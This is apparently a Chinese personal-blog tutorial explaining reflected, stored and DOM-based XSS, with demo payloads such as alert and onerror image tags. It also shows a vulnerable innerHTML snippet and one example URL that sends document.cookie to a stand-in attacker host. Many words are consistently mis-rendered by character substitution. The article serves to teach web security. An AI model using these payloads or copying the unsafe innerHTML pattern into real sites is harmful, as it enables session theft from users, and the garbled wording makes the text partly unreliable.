对于 Xss 攻打的那些事
文章首发于集体博客
前言
筹备秋招的时候, 背了一些对于 Xss 的八股文, 然而没有深刻理解, 所以过后面试答复的时候, 只能本人背的那局部说进去, 当面试官一深问时, 就答复不进去了, 直到现在有工夫去钻研 Xss 攻打, 才发现和本人背的八股文有一些区别。
文章中的 🌰 源代码都能够在这里下载, 最好是本人运行一遍, 联合本文食用最佳!!!
什么是 Xss 攻打
跨站脚本攻打 (Xss) 是一种代码注入攻打, 容许攻击者在其余用户的浏览器上执行歹意 JavaScript。
攻击者不会间接针对受害者, 而是利用受害者所拜访网站的破绽, 让该网站为他提供恶意代码, 而对于受害者的浏览器来说, 歹意 JavaScript 也是网站中非法的一部分, 从某种角度上来说, 网站成为了攻击者的鹰犬。
什么是歹意 JavaScript
如果是咱们本人写的 JavaScript, 那么咱们能保障它们不是歹意的, 它在咱们的可控范畴内, 如果不是咱们本人的业务代码(比如说第三方包、注入的脚本), 咱们须要小心与甄别了, 特地是以下这三种状况:
- JavaScript 能够拜访用户的一些敏感信息, 比如说: document.cookie。
- JavaScript 能够通过应用 XMLHttpRequest、fetch 发送网络申请。
- JavaScript 能够通过应用 Dom Api 对页面进行任意的批改。
你可能会想这会有什么危害呢? 留到下一节再讲。
歹意 JavaScript 的结果
没想到吧, 下一大节这么快就到了, 事实上咱们关上一个网站的控制台, 咱们能够执行任意的 JavaScript, 并不会对咱们的计算机造成影响, 然而如果做了下面的 ” 坏操作 ” 的话, 就会有以下危险。
- 盗取 cookie: 攻击者通过 document.cookie 获取受害者的 cookie, 将 cookie 信息发送到攻击者的服务器, 而后再进行前面的攻打比如说 csrf, 或者提取其敏感信息。
- 监听事件 : 攻击者通过
addEventListener
注册键盘输入事件, 而后将受害者所有的输出发送给攻击者, 其中可能包含账号密码等敏感信息。 - 网站钓鱼: 攻击者通过 Dom 操作, 而后仿造一个截然不同的登陆框笼罩掉之前网站原先的登陆, 并将提交地址指向攻击者服务器, 受害者不知情就间接提交其敏感信息。
只管这些攻打有很大不同, 然而大体相似的, 都是通过注入歹意 JavaScript 到受害者网站, 而后在网站上下文中执行, 这看来是非法的, 它只是被当作网站中一个脚本, 能够执行受害者能够执行的任何操作, 拜访受害者能够拜访的任何数据,
如果受害者是管理员的话, 那么这种状况更加危险, 它能够拜访所有数据并且能够做任意操作。
Xss 攻击方式
Xss 攻打次要有三种形式:
- 反射型 Xss: 歹意 JavaScript 来自网络申请。
- 存储型 Xss: 歹意 JavaScript 来自数据库。
- 基于 Dom: 破绽存在于前端而不是后端。
反射型 Xss
反射型 Xss 是地第一种 Xss 攻击方式, 歹意 JavaScript 是网站申请的一部分, 当网站发送网络申请时, 网站将这个歹意 JavaScript 蕴含在响应体当中。
攻击者能够通过各种形式 (在网站上搁置链接、或者通过电子邮件发送链接) 诱使用户收回指定的申请, 而后返回歹意脚本进行 Xss 攻打,。攻打能够间接针对已知用户, 也能够对任意用户进行攻打。
流程
- 攻击者制作一个歹意字符串的链接发送给受害者。
- 受害者被诱骗点击歹意链接, 而后拜访该歹意链接进入有破绽的网站。
- 网站后端进行解决返回拼接后的 html, html 中蕴含歹意 JavaScript。
- 受害者的浏览器接管到响应后解析执行, 混入其中的歹意 JavaScript 也被执行(比方说: 将受害者的 cookie 发送给攻击者)。
一开始感觉反射型看起来有害, 因为它要求受害者本人发送蕴含歹意字符串的链接, 咱们不可能说本人攻打本人, 但实际上更多的形式是通过假装让受害者对本人发送反射型攻打:
- 针对特定的某一个人, 攻击者能够将歹意链接发送给受害者 (比如说: 邮箱、短信、音讯等) 并诱使他去拜访。
- 针对一群人, 攻击者能够公布指向歹意链接(比如说: 集体网站、群音讯、布告等)并期待访问者点击它。
这两种办法是类似的,都是通过假装的形式, 屏蔽掉歹意字符串的链接, 否则用户会辨认它。
举个 🌰🌰🌰
看了下面流程, 可能还不太懂, 再来一个理论的例子, 能够在这里看到源代码, 能够看到这样子的界面:
它有一个搜寻性能, 在输入框上拜访 /search?q= 关键字
即可点击搜寻按钮即可进行搜寻, 因为这里次要是展现 xss 攻打, 所以就没有做真正的搜寻。
所以当咱们进行搜寻的时候, 会有一个 q
的参数传递给后端。所以有两种状况:
- 失常 JavaScript: 如果咱们输出
q=keywords
, 传递给后端的数据就是{q: 'keywords'}
, 这看起来没什么问题。 - 歹意 JavaScript: 如果咱们输出
q=<script>alert(1)</script>
, 传递给后端的是{q: '<script>alert(1)</script>' }
, 完蛋, 参数是恶意代码, 服务器间接渲染造成 xss 攻打。
当传入歹意 JavaScript 的时候, 这里咱们曾经造成了反射型 xss 攻打, 然而是对咱们本人造成了 xss 攻打, 那么怎么对其他人造成反射型 xss 攻打呢?
依照下面那个流程, 咱们再来走一遍:
- 第一步: 找到查问参数这个破绽之后, 咱们发现能够制作一个带有歹意 JavaScript 的 URL, 比如说制作一个
/search?q=<script> window.location="www.attacker.com?cookie="+document.cookie </script>
。 - 第二步: 而后通过邮箱、广告等形式诱使用户去点击, 拜访歹意链接的网站。
- 第三步: 而后网站后端取出查问关键字, 这里对应的就是
<script>...</script>
, 而后进行拼接成 html, 而后将 html 返回给浏览器。 - 第四步: 用户浏览器执行执行
<script>...</script>
里的内容, 而后就把以后网站的 cookie 发送给攻击者。
由此咱们晓得, 反射型 Xss 须要点击某一个链接或者说触发某一个操作拜访一个有破绽的网站, 而后网站后端接管到之后再进行解决该申请, 后端依据前端传递过去的数据生成了对应的 html 而后返回给前端, 前端间接就进行了渲染, 那么反射是产生在哪里呢?
其实就是在后端解决的时候, 如果前端传递过去的数据自身就是恶意代码的话, 后端不会做一层过滤, 间接就渲染成了 html 而后返回给前端, 所以也就是在这里产生了所谓的 ” 反射 ”。
持续拿下面那个例子, 当咱们进行搜寻时, 会渲染出关键字, 并且会展现搜寻进去的后果。
URL 地址: http://xxxx/search?keywords=javascript
。
后端渲染之后返回给前端的 Html 构造:
<div> 关键字: javascript</div>
<div> 后果: xxxx</div>
输出javascript
, 反射成<div> 关键字: javascript</div>
。
URL 地址: http://xxxx/search?keywords=<script>alert(1)</script>
。
后端渲染之后返回给前端的 Html 构造:
<div>
关键字:
<script>
alert(1);
</script>
</div>
<div> 后果: xxxx</div>
输出<script>alert(1)</script>
, 反射成了<div> 关键字: <script>alert(1)</script></div>
关键点
所以联合下面的流程以及 demo, 我总结了以下两个关键点:
- 反射型 Xss 后端不会将歹意 JavaScript 存储在数据库里, 并非是永恒的。
- 反射型 Xss 是利用后端来进行反射 , 如果你本人在尝试反射型的 demo 的时候, 始终不胜利, 能够看看是不是没有在后端做反射。
存储型 Xss
当后端接管歹意数据并且存入数据库, 其余用户拜访时返回给前端就会呈现存储型 Xss(也被称为长久型 Xss)。
有问题的数据可能通过 HTTP 申请提交给后端, 例如: 博客评论、聊天室中的用户昵称或客户订单上的联系方式等。
流程
- 攻击者提交歹意 JavaScript 发送网络申请, 后端接管到直接插入到数据库中。
- 受害者进入该网站申请一个页面。
- 该网站响应体数据中蕴含攻击者插入数据库的歹意 JavaScript, 而后发送给受害者。
- 受害者的浏览器执行歹意 JavaScript。
举个 🌰🌰🌰
楼主本人在写 🌰 的时候, 发现它有两种场景的存储型攻打。
后端返回 JSON 前端渲染
咱们在做前后端拆散我的项目的时候, 很多时候间接是返回 JSON 数据, 前端通过 post 等形式发送数据给后端, 后端没有做解决间接把数据存入数据库, 其余用户拜访的时候, 后端返回了恶意代码的 json, 而后前端 vue
可能间接应用 v-html
这样的指令、React
应用 danger
的属性去渲染数据, 联合我本人的理论例子, 在我的集体博客中, 发表评论时能够写 markdown 格局, 我前端申请接口后端给我返回数据, 而后前端渲染的时候是通过 marked.js
将评论字符串解析成 html 而后通过 dangerouslySetInnerHTML
属性渲染进去的, 所以这个时候就会小心呈现存储型 xss。
这里有一个后端返回 JSON 前端渲染的代码能够戳一戳。
后端返回 html
是后端从数据库外面查出数据, 而后在后端依据数据生成好了 html 返回给前端, 所以前端间接渲染这个 html 就能够了, 这一点和反射型 xss 有一点类似。
后端生成 html 代码
解释
能够看到这样子的页面:
增加产品, 点击 add 按钮, 会有一个 prompt
弹框输出产品名称点击 ok 即可增加胜利。
为了验证存储型 xss。咱们在增加产品的时候, 输出一个香蕉, 能够看到可能胜利增加, 并且会在页面上展现进去。
Html 构造:
<ol>
<li> 苹果 </li>
<li> 香蕉 </li>
</ol>
然而咱们换一种形式再来捣鬼一下, 输出一个<img src='x' onerror='alert(1)' />
, 点击确定, 弹出来一个 1 , 咱们再来看看最终的 Html 构造, 能够想想为什么不必之前的<script>alert(1)</script>
, 前面再进行解释。
Html 构造:
<ol>
<li> 苹果 </li>
<li>
<img src="x" onerror="alert(1)" />
</li>
</ol>
如果咱们把歹意脚本的内容存储到数据库里, 而后其余用户浏览到这个网页进行查看的时候, 都会执行的歹意脚本内容, 这就是存储型的 Xss 攻打。
我之前看到一个 twitter 的帖子就是利用了存储型 xss 攻打, 当其余用户看到这条推文时, 主动点赞 + 转发。
关键点
所以联合下面的流程以及 🌰, 我总结了以下两个关键点:
- 存储型 Xss 会把歹意 JavaScript 保留到数据库中, 是长久型的
- 存储型 Xss 后端 不会进行反射, 只会在后端生成 html 返回或者后端返回歹意数据 JSON, 前端应用 ” 不可控 ” 的形式渲染
基于 Dom
像后面两种 xss 攻击方式, 它们都须要后端进行 ” 配合 ”, 反射型须要后端进行恶意代码 ” 反射 ” 给浏览器, 存储型须要后端将恶意代码 ” 存储 ” 到数据库, 那有没有一种不须要后端配合的呢?
基于 DOM 的 XSS 是一种产生在前端的 xss 攻打。它不会将恶意代码发送给后端, 后端返回的响应也不会蕴含恶意代码。
流程
- 攻击者制作一个蕴含歹意字符串的 URL 并将其发送给受害者。
- 受害者拜访歹意字符串的 URL 链接。
- 受害者浏览器歹意链接网站的响应后解析执行,前端 JavaScript 取出恶意代码并执行。
- 恶意代码窃取用户数据并发送到攻击者的网站。
举个 🌰🌰🌰
还是拿搜寻进行举例子, 当咱们进行搜寻时, 会渲染出关键字, 并且会展现搜寻进去的后果。
代码如下
<h1 id="keywords"></h1>
<div id="result"></div>
<script>
const query = new URLSearchParams(location.search.slice(1));
const keywords = document.getElementById('keywords');
keywords.innerHTML = ` 关键字: ${query.get('keywords')}`;
</script>
而后有一个 URL 地址: http://www.xxxx.com/search?keywords=javascript
。所以最初的构造如下
Html 构造:
<div> 关键字: javascript</div>
<div> 后果: xxxx</div>
然而如果咱们捣鬼, 输出一个<script>alert(1)</script>
, 这个时候会产生什么? 啥都没有产生, 咱们看看最终的 Html 构造。
Html 构造:
<div>
关键字:
<script>
alert(1);
</script>
</div>
<div> 后果: xxxx</div>
没有问题的呀, 为什么不会弹出来 1 呢? 纯熟的关上 MDN 文档, 搜寻 innerHTML, 而后在文档中找到了这样子的一段解释。
只管这看上去像
xss
攻打,并不会对页面造成什么影响。然而HTML5
中指定不执行由innerHTML
插入的<script>
标签。
这也解释了为什么在存储型 xss🌰 中的时候不必 <script>
的形式了. 那么咱们换一种形式再来捣鬼一下, 输出一个<img src='x' onerror='alert(1)' />
, 点击确定, 弹出来一个 1 , 咱们再来看看最终的 Html 构造。
Html 构造:
<div> 关键字 <img src="x" onerror="alert(1)" /></div>
<div> 后果: xxxx</div>
通过这个例子就晓得了基于 dom 的 xss 攻打, 是不会发送网络申请的, 它利用了一些网站的破绽, 比方说 document.url
、document.location
或 document.referrer
。
区别
在后面反射型、存储型中, 都是利用到了后端没有做解决, 间接 将恶意代码插入到中 html或者 返回恶意代码的数据, 而后前端收到响应之后进行渲染, 把恶意代码当成页面中的一部分, 在页面加载时失常执行。
然而,在基于 DOM 的 XSS 攻打的示例中, 并没有后端的参加, 歹意脚本没有作为页面的一部分插入 ; 而是在页面加载期间执行了本人的那一部分脚本, 而后在将来的某一个时刻触发了这个歹意脚本。
就拿刚刚举例子的搜寻性能来说, 咱们在搜寻的时候能够输出任意内容, 所以在输出歹意内容的时候, 也是没有问题的, 当我点击搜寻按钮的时候, 这个歹意脚本插入到页面上主动执行了, 所以在这里 ” 将来的某一个时刻 ” 就是点击搜寻的那一瞬间。
比如说利用输出来向页面增加 HTML。而后输出的时候没有做过滤, 而后这个时候在输出歹意内容的时候, 因为歹意字符串应用 插入到页面中 innerHTML,因而被解析为 HTML,从而导致执行歹意脚本。
然而基于 Dom 的 Xss, 没有作为 html 中的一部分插入到页面, 而是在页面加载期间主动执行的惟一脚本是页面的非法局部, 问题是这个非法的脚本间接利用用户输出来向页面增加 html, 因为应用了 innerHTML 等 api, 因为被解析成 html, 从而导致执行恶意代码。
区别到底是什么?
- 传统的 xss 攻打中, 后端将恶意代码作为 html 的一部分返回给浏览器, 在页面加载时失常执行。
- 基于 Dom 的 xss 攻打中, 因为页面的非法 JavaScript 以不平安的形式解决用户的输出, 因而会在页面加载完后的某一个时刻执行歹意脚本。
在下面例子中, 不平安的形式就是应用 innerHTML
插入内容, 而后在搜寻的那一个时刻执行了歹意脚本。
呈现的意义是什么?
在反射型、存储型中, 都要与后端通信, 假如咱们后端代码是没有问题, 做好了平安防护, 不会呈现问题, 那么是不是就能够认为不会有 xss 攻打。
然而, 随着当初 Web 程序越来越简单, 后端当初只提供数据, 越来越多的内容由前端来进行渲染, 应用 javascript 在不刷新页面的状况进行部分更新, 应用 ajax 发送网络申请获取数据。
这就是意味着 Xss 攻打不仅仅只会存在于后端中, 还会存在于前端的 JavaScript 代码中, 因为即便后端做好了 Xss 防备, 在页面加载实现后, 前端也可能不平安地将用户输出插入在 Dom , 如果是这种状况, 就会产生基于 dom 的 xss 攻打, 而不是后端的问题。
写后感
以上就是我本人对 XSS 的一些了解, 写这篇文章的时候其实比拟苦楚, 也问了很多敌人他们对 xss 攻打的了解, 其中看了很多的材料, 而后发现材料和之前理解到的呈现了一致, 就开始在想什么是对什么是错, 最简略的就是反射型 xss 攻打那里我就始终在想, 是不是当初前后端拆散, 后端只提供数据, 就不会呈现反射型 xss 攻打了, 所以我在举例子的时候没有像存储型那样子举两个例子(后端返回 html、后端返回 json 数据), 有小伙伴晓得的话能够评论通知我一下下, 每天就在这样子的状态下写一点点, 最终才把这篇文章写完。
当本人去看总结好的八股文然后背下来的时候, 和他人去说明确真的就是两回事, 心愿能对各位小伙伴们有帮忙, 如果有什么谬误或者倡议心愿各位小伙伴多多包涵并且评论里提出来, 我会致力去改过, 加油, 🐛🦆!!!
参考资料
- Web Security – A7 . Cross-Site Scripting (XSS) – 上篇
- What is XSS (Cross-site Scripting)?
- DOM Based Cross Site Scripting or XSS of the Third Kind
- Cross Site Scripting
- Excess XSS
- PostSwigger Cross-site scripting
- OWASP Cheat Sheet Series